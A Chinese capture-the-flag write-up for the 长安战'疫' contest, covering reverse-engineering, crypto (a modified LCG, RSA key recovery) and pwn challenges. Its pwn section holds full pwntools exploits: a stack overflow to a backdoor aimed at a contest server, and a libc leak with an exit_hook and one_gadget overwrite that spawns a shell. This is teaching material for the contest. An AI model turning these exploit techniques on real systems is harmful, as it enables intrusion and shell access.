20220108-长安战“疫”

 

Re

combat_slogan

给了一个jar包,尝试运行

image-20220112191716429

用Android Killer反编译一下得到主要逻辑,逆回去就好

1
2
3
4
5
6
7
8
9
10
11
apx = ord(b'\r')
cipher = 'Jr_j11y_s1tug_g0_raq_g0_raq_pnml'
flag = ''
for i in cipher:
if 'a' <= i <= 'm' or 'A' <= i <= 'M':
flag += chr(ord(i) + apx)
elif 'n' <= i <= 'z' or 'N' <= i <= 'Z':
flag += chr(ord(i) - apx)
else:
flag += i
print(flag)

image-20220112193621235

hello_py

pyc反编译,uncompyle可以得到较好的反编译结果。多线程加密,从后往前交替异或加密

image-20220112200020224

由于异或的性质稍微修改源码就可以解密,比如encode_1不进行加密只进行输出,最后逆序一下

1
2
3
4
5
6
7
8
9
def encode_1(n):
global num
while True:
if num >= 0:
print(chr(flag[num] ^ num), end='')
num -= 1
time.sleep(1)
if num <= 0:
break

image-20220112225833937

lemon

来自hitcon2021-cclemon,lemon语言的字节码,部分如下

1
2
3
4
5
6
7
8
9
10
11
0: const 60 ; <module 'main'> 
5: module 9 592
11: const 26 ; 83
16: const 27 ; 69
21: const 28 ; 65
26: array 3
31: store 0 0
34: const 30 ; 101
39: const 31 ; 108
44: const 32 ; 111
...

先简单学下lemon的语法,http://www.lemon-lang.org/documentation,并且通过lemon查看语法对应的字节码,结合栈的弹参方式应该不难懂,数组是逆序入栈的

image-20220113101424561

最后手撕,源程序去官方WP看吧,运行得到一串数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
0: const 60 ; <module 'main'> 
5: module 9 592

11: const 26 ; 83
16: const 27 ; 69
21: const 28 ; 65
26: array 3
31: store 0 0 # q

34: const 30 ; 101
39: const 31 ; 108
44: const 32 ; 111
49: const 33 ; 117
54: const 34 ; 122
59: const 30 ; 101
64: const 35 ; 105
69: const 36 ; 98
74: const 30 ; 101
79: const 31 ; 108
84: const 33 ; 117
89: const 35 ; 105
94: const 37 ; 113
99: const 33 ; 117
104: const 35 ; 105
109: const 37 ; 113
114: array 16
119: store 0 1 # w

122: const 39 ; 0
127: store 0 2 # e

130: array 0
135: store 0 3 # a

# while
138: load 0 2 # e
141: const 42 ; 256
146: lt # <
147: jz 184
152: load 0 3 # a
155: const 43 ; append
160: getattr
161: load 0 2 # e
164: call 1
166: pop
167: load 0 2 # e
170: const 44 ; 1
175: add
176: store 0 2
179: jmp 138

184: const 39 ; 0
189: store 0 4 # c

# while
192: load 0 4 # c
195: const 42 ; 256
200: lt
201: jz 271
206: load 0 3 # a
209: load 0 4 # c
212: getitem
213: load 0 0 # q
216: load 0 4 # c
219: const 46 ; 3
224: mod
225: getitem
226: add
227: load 0 1 # w
230: load 0 4 # c
233: const 47 ; 16
238: mod
239: getitem
240: add
241: const 42 ; 256
246: mod
247: load 0 3 # a
250: load 0 4 # c
253: setitem
254: load 0 4 # c
257: const 44 ; 1
262: add
263: store 0 4
266: jmp 192

271: const 39 ; 0
276: store 0 5 # i

# while
279: load 0 5 # i
282: const 46 ; 3
287: lt
288: jz 448
293: const 39 ; 0 # j
298: store 0 6

## while
301: load 0 6
304: const 42 ; 256
309: lt
310: jz 366
315: load 0 3 # a
318: load 0 6 # j
321: getitem
322: load 0 3 # a
325: load 0 6 # j
328: const 44 ; 1
333: add
334: const 42 ; 256
339: mod
340: getitem
341: bxor
342: load 0 3 # a
345: load 0 6 # j
348: setitem
349: load 0 6 # j
352: const 44 ; 1
357: add
358: store 0 6
361: jmp 301

366: const 39 ; 0

## while
371: store 0 7
374: load 0 7
377: const 42 ; 256
382: lt
383: jz 431
388: load 0 3 # a
391: load 0 7 # p
394: getitem
395: const 44 ; 1
400: add
401: const 42 ; 256
406: mod
407: load 0 3 # a
410: load 0 7 # p
413: setitem
414: load 0 7
417: const 44 ; 1
422: add
423: store 0 7
426: jmp 374

431: load 0 5 # i
434: const 44 ; 1
439: add
440: store 0 5
443: jmp 279

448: const 39 ; 0
453: store 0 5
456: const 39 ; 0
461: store 0 8 # n

# while
464: load 0 5
467: const 42 ; 256
472: lt
473: jz 509
478: load 0 8 # n
481: load 0 3 # a
484: load 0 5 # i
487: getitem
488: add
489: store 0 8
492: load 0 5
495: const 44 ; 1
500: add
501: store 0 5
504: jmp 464

509: load 0 8 # n
512: const 51 ; 20
517: mul
518: const 52 ; 5
523: add
524: store 0 8

527: load 0 8
530: const 54 ; 30
535: mul
536: const 52 ; 5
541: sub
542: store 0 8

545: load 0 8
548: const 56 ; 40
553: mul
554: const 52 ; 5
559: sub
560: store 0 8

563: load 0 8
566: const 58 ; 50
571: mul
572: const 59 ; 6645
577: add
578: store 0 8

581: const 23 ; <function 'print'>
586: load 0 8
589: call 1
591: pop

image-20220113111204067

Crypto

LinearEquations

LCG线性同余寄存器的魔改,方程变成
$$
s[i]\equiv a\times s[i-1]+b\times s[i-2]+c\ (mod\ n)\notag
$$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class my_LCG:
def __init__(self, seed1 , seed2):
self.state = [seed1,seed2]
self.n = getPrime(64)
while 1:
self.a = bytes_to_long(flag[:8])
self.b = bytes_to_long(flag[8:16])
self.c = bytes_to_long(flag[16:])
if self.a < self.n and self.b < self.n and self.c < self.n:
break

def next(self):
new = (self.a * self.state[-1] + self.b * self.state[-2] + self.c) % self.n
self.state.append( new )
return new

并且告诉我们前五个状态和$n$,要求$a$,$b$,$c$

之前的攻击都不适用了,感觉可以魔改,但这里直接Gröbner基解同余方程组就出了

math

参考https://lazzzaro.github.io/2020/05/06/crypto-RSA/#给-e-d-modinv-q-p-c

  • 给定$e$,$d$,$p^{-1}_q$,$c$
1
2
3
4
5
pinvq:0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3
qinvp:0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b
c:0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386
e:0x10005
d:0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1
  • 算法

    1. 令$k$遍历$[1,\ e]$,当$ed-1\equiv 0\ (mod\ k)$时继续2

    2. 计算$\varphi(n)=\frac{ed-1}{k}$,$x=1+q^{-1}_p\cdot\varphi(n)-q^{-1}_p$

    3. 令$r$遍历$[2,\ 11]$,计算$kp_i=r_i^{\varphi(n)}\ mod\ x$,若$(kp_{i-1},\ kp_i)$的位数符合$p$的位数,则$p=(kp_{i-1},\ kp_i),\ q\equiv(q^{-1}_p)^{-1}\ (mod\ p)$,返回$p,\ q$

  • 原理

    由$ed=1+k\varphi(n)$易得,$\varphi(n)=\frac{ed-1}{k}$,而$k$又是$e$比特位的,可以爆破$\varphi(n)$

    由$q^{-1}_p\cdot\varphi(n)\equiv q^{-1}_p\cdot (n-p-q+1)\equiv-1+q^{-1}_p\ (mod\ p)$得
    $$
    x=1+q^{-1}_p\cdot\varphi(n)-q^{-1}_p,\ x\equiv 0\ (mod\ p)\notag
    $$

    • 定理1:

      对于任意的$r,\ k_1,\ k_2$,当$k_2$为$k_1$的因子时,$r\equiv(r\ mod\ k_1)\ (mod\ k_2)$(先模大的再模小结果不变

    任取多个$r_i\in \mathbb{Z}$,计算$kp_i=r_i^{\varphi(n)}\ mod\ x$,由定理1以及费马小定理可知$kp_i\equiv (r_i^{\varphi(n)}\ mod\ x)\equiv r_i^{\varphi(n)}\equiv 1\ (mod\ p)$

    这样虽然我们不知道$p$,但是成功转移到我们求得的$x$上,$kp_i-1\equiv 0\ (mod\ p)$,因此$kp_i$是$p$的倍数,多求几组便可以gcd求得$p$

    (多求几组的意思是,首先只有找到真正的$k$,上述一切才会成立;在正确的$k$下求出来的$kp_i$都是$p$的倍数,但$kp_i$之间可能存在除了$p$以外的公因子,所以是多求几组

最终的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from sage import *


def leak_qinvp_attack(e, d, qinvp):
for k in range(1, e):
if (e * d - 1) % k == 0:
phi = (e * d - 1) // k
x = 1 + qinvp * phi - qinvp
if x > 0:
p = x
for i in range(2, 11):
p = gcd(p, pow(i, phi, p) - 1)
if p.bit_length() == 512:
q = inverse(qinvp, p)
return p, q


pinvq = 0x63367a2b947c21d5051144d2d40572e366e19e3539a3074a433a92161465543157854669134c03642a12d304d2d9036e6458fe4c850c772c19c4eb3f567902b3
qinvp = 0x79388eb6c541fffefc9cfb083f3662655651502d81ccc00ecde17a75f316bc97a8d888286f21b1235bde1f35efe13f8b3edb739c8f28e6e6043cb29569aa0e7b
c = 0x5a1e001edd22964dd501eac6071091027db7665e5355426e1fa0c6360accbc013c7a36da88797de1960a6e9f1cf9ad9b8fd837b76fea7e11eac30a898c7a8b6d8c8989db07c2d80b14487a167c0064442e1fb9fd657a519cac5651457d64223baa30d8b7689d22f5f3795659ba50fb808b1863b344d8a8753b60bb4188b5e386
e = 0x10005
d = 0xae285803302de933cfc181bd4b9ab2ae09d1991509cb165aa1650bef78a8b23548bb17175f10cddffcde1a1cf36417cc080a622a1f8c64deb6d16667851942375670c50c5a32796545784f0bbcfdf2c0629a3d4f8e1a8a683f2aa63971f8e126c2ef75e08f56d16e1ec492cf9d26e730eae4d1a3fecbbb5db81e74d5195f49f1
p, q = leak_qinvp_attack(e, d, qinvp)
n = p * q
flag = bytes.fromhex(hex(pow(c, d, n))[2:])
print(flag)

Pwn

pwn1

有意思的ret2text题,对汇编下手了

查看保护,开启了NX,大概率是ROP

image-20220109213626932

main函数逻辑如下,明显的栈溢出并且存在后门函数,但直接填充覆盖返回地址为后门函数的攻击失败;此外,还告诉我们了局部变量buf的地址。通过查看汇编代码发现,在main函数结束的时候没有老老实实地leave; ret;而是在其中掺了一条lea esp, [ecx-4]

image-20220109213542381

image-20220109213448835

动调分析,256个垃圾数据全部填满后,发现返回地址是ecx的值减4,溢出的距离是52,ecx为输入的第52~56位,可以构造payload了

image-20220109214420827

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

io = remote("113.201.14.253", 16088)
# io = process("./pwn1")

backdoor = 0x8048540

io.recvuntil(b'Gift:')
# ret_addr = 0x080483a2
buf_addr = int(io.recvline()[2:-1], 16)
log.success('Gift ====> ' + hex(buf_addr))
payload = p32(backdoor) + b'A' * 48 + p32(buf_addr + 4)
# gdb.attach(io)
# pause()

io.sendline(payload)
io.interactive()

image-20220109214947265

pwn3

题目描述

给了一个ELF以及libc-2.23.so

例行检查保护,全开

image-20220117224159631

运行一下类似一个升级打怪的游戏

image-20220114164744508

分析思路

IDA分析,没有后门函数。如下图所示,main函数中有一段代码输出了puts的地址,提供了任意地址写,关键它是以exit退出程序的,这就足以实现exit_hook攻击。首先知道下什么是hook技术,Fr.,其次再来详细了解下exit_hook,Fr.

这里可以写一个地址长度的数据,搭配one_gadget就可以成功获得shell,但要运行到这里得先通过start_game

image-20220114215006592

start_game如下图所示,将blood减去attack[9],如果blood小于0则成功打败boss,执行上图框框里的代码。如上图所示,blood初始值为0x7fffffff,一次减35,减到猴年马月了

image-20220114220751186

level_up函数用于升级提高攻击,最高35。40个字节的attack数组长度为10,每个元素以DWORD的形式展现,最后4个字节用来存储前面的长度,用于start_game的攻击。level_up里面使用了strncat,它的工作原理是将原字符串末尾的\0给去掉,追加新的字符串之后,再在末尾添上\0。可以利用这个性质将s全部填满,这样strncat就会将\0追加到attack[9]中,attack[9]=0,使得下次level_up的时候还可以输入,下次输入的4个字节就直接作为attack[9],大大提高了攻击值(\xff\xff\xff\x0a的话只需要攻击一次

image-20220114224244446

image-20220114231304488

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

# context.log_level = "debug"
context.arch='amd64'

io = process('./Gpwn3')
libc = ELF("libc-2.23.so")

ru = lambda s : io.recvuntil(s)
sl = lambda s : io.sendline(s)
sn = lambda s : io.send(s)
rv = lambda s : io.recv(s)
rl = lambda : io.recvline()
sla = lambda r, s : io.sendlineafter(r, s)
sa = lambda r, s :io.sendafter(r, s)

# STEP1. beat boss
def creat_game(level):
sla(b"You choice:", b'1')
sla(b"Give me a character level :\n", level)


def level_up(level):
sla(b"You choice:", b'2')
sla(b"Give me another level :\n", level)


def start_game():
sla(b"You choice:", b'3')


creat_game(b'A' * 18)
level_up(b'A' * 18)
ru(b"You choice:")
level_up(b"\xff\xff\xff")
start_game()

# STEP2. leak libc_base
ru(b"Here's your reward: ")
puts_addr = int(rl()[2:-1].decode(), 16)
success("puts_addr ===> " + hex(puts_addr))

libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search('/bin/sh\x00'.encode()))
success("libc_base ===> " + hex(libc_base))
success("system_addr ===> " + hex(system_addr))
success("bin_sh_addr ===> " + hex(bin_sh_addr))

# STEP3. exit_hook
# gdb.attach(io)
# pause()
one_gadget = [0x45226, 0x4527a, 0xcd173, 0xcd248, 0xf03a4, 0xf03b0, 0xf1247, 0xf67f0]
dl_rtld_unlock_recursive = libc_base + 0x5f0040 + 3848
sa(b"Warrior,please leave your name:", p64(dl_rtld_unlock_recursive))
sla(b"We'll have a statue made for you!", p64(libc_base + one_gadget[6]))

io.interactive()

image-20220114230521520

Reference

TSG CTF 2020 - Modulus Amittendus

https://yaoxixixi.github.io/2021/12/07/字节码(Hitcon-cclemon)/

官方WP